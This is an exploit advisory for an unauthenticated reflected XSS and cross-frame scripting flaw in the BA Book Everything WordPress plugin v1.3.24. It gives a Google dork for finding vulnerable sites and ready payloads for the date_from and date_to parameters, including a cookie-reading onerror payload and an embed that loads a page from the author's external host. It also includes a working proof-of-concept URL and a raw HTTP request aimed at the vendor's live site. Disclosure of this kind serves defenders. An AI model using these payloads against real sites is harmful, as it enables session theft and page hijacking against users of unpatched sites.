[+] :: Exploit Title: BA Book Everything WordPress plugin v1.3.24 - Unauthenticated Reflected XSS & XFS [+] :: Google Dork: inurl:/wp-content/plugins/ba-book-everything/ [+] :: Date: 2020-09-30 [+] :: Exploit Author: Ex.Mi [ https://ex-mi.ru ] [+] :: Vendor: Booking Algorithms [ https://ba-booking.com ] [+] :: Software Version: 1.3.24 [+] :: Software Link: https://wordpress.org/plugins/ba-book-everything/ [+] :: Tested on: Kali Linux [+] :: CVE: [+] :: CWE: CWE-79, CWE-1021 [i] :: Info: An Unauthenticated Reflected XSS & XFS vulnerabilities was discovered in the BA Book Everything plugin v1.3.24 for WordPress. Vulnerable parameter(s): date_from, date_to. [!] :: Affected Themes: Royalux [ by Secret Laboratory ] - https://themeforest.net/item/royalux-hotel-booking-wordpress-theme/27527508 [$] :: Payloads: "><!--<img src="--><img src=x onerror=(alert)(`Ex.Mi`);(alert)(document.cookie);//"> "><embed src=//ex-mi.ru/payload/xfsii.html></embed> [!] :: PoC: https://ba-booking.com/ba-book-everything/search-result/?date_from=%22%3E%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`Ex.Mi`);(alert)(document.cookie);//%22%3E&date_to=%22%3E%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`Ex.Mi`);(alert)(document.domain);//%22%3E [!] :: PoC (Burp Suite): GET /ba-book-everything/search-result/?date_from=%22%3E%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`Ex.Mi`);(alert)(document.cookie);//%22%3E&date_to=%22%3E%3C!--%3Cimg%20src=%22--%3E%3Cimg%20src=x%20onerror=(alert)(`Ex.Mi`);(alert)(document.domain);//%22%3E HTTP/1.1 Host: ba-booking.com [@] :: Contacts: Website: ex-mi.ru Telegram: @ex_mi GitHub: @ex-mi Medium: @ex-mi